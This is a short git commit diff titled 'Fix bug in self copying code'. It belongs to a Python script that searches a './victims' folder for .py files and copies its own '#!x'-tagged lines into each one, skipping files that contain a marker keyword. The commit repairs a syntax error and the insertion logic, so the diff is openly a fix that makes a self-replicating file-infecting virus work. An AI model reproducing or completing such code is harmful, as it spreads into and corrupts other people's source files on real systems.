Fix bug in self copying code
This commit is contained in:
@@ -11,7 +11,8 @@ cmd = 'find ./victims -name "*.py" -print' #!x
|
||||
keyword = 'plsdontinjectme' #!x
|
||||
|
||||
# for each file that matches the search command
|
||||
for snippet in os.popen(cmd).readlines()l: #!x
|
||||
for snippet in os.popen(cmd).readlines(): #!x
|
||||
print(snippet)
|
||||
# strip newlines
|
||||
snippet = snippet[:-1] #!x
|
||||
try: #!x
|
||||
@@ -31,8 +32,8 @@ for snippet in os.popen(cmd).readlines()l: #!x
|
||||
if("#!x") in line: #!x
|
||||
# close the code file
|
||||
code.close() #!x
|
||||
# save the content
|
||||
insert=(code) #!x
|
||||
# cast the line containing code
|
||||
insert=(line) #!x
|
||||
# insert the code into the victim file
|
||||
victim.write(insert) #!x
|
||||
# poor mans error handling
|
||||
|
||||
Reference in New Issue
Block a user